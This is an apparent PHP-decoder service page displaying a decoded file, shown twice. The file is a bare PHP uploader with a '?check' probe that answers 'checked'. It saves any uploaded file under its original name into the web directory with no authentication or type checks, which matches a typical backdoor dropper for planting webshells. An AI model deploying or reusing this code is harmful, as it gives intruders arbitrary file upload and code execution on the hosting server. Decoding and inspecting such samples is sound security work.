Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if (isset ($_GET['check'])) { echo "checked"; exit; } ?> <!DOCTYPE htm..

Decoded Output download

<?php 
	if (isset ($_GET['check'])) { 
		echo "checked"; 
		exit; 
	} 
?> 
 
<!DOCTYPE html> 
<html> 
<head> 
<meta charset=utf-8> 
<title>File</title> 
</head> 
<body> 
<h1>File</h1> 
 
 
<form method="post" enctype="multipart/form-data"> 
<input type="file" name="filename"><br> 
<input type="submit" value="LOAD"><br> 
</form> 
 
<?php 
if (is_uploaded_file($_FILES["filename"]["tmp_name"])) 
	{ 
	move_uploaded_file($_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"]); 
	$file = $_FILES["filename"]["name"]; 
	echo '<a href='.$file.'>'.$file.'</a>'; 
	} else { 
	echo("FILE"); 
	} 
 
?> 
</body> 
</html>

Did this file decode correctly?

Original Code

<?php
	if (isset ($_GET['check'])) {
		echo "checked";
		exit;
	}
?>

<!DOCTYPE html>
<html>
<head>
<meta charset=utf-8>
<title>File</title>
</head>
<body>
<h1>File</h1>


<form method="post" enctype="multipart/form-data">
<input type="file" name="filename"><br>
<input type="submit" value="LOAD"><br>
</form>

<?php
if (is_uploaded_file($_FILES["filename"]["tmp_name"]))
	{
	move_uploaded_file($_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"]);
	$file = $_FILES["filename"]["name"];
	echo '<a href='.$file.'>'.$file.'</a>';
	} else {
	echo("FILE");
	}

?>
</body>
</html>

Function Calls

None

Variables

None

Stats

MD5 bf2de32b0a322c25635f19121bc7747d
Eval Count 0
Decode Time 82 ms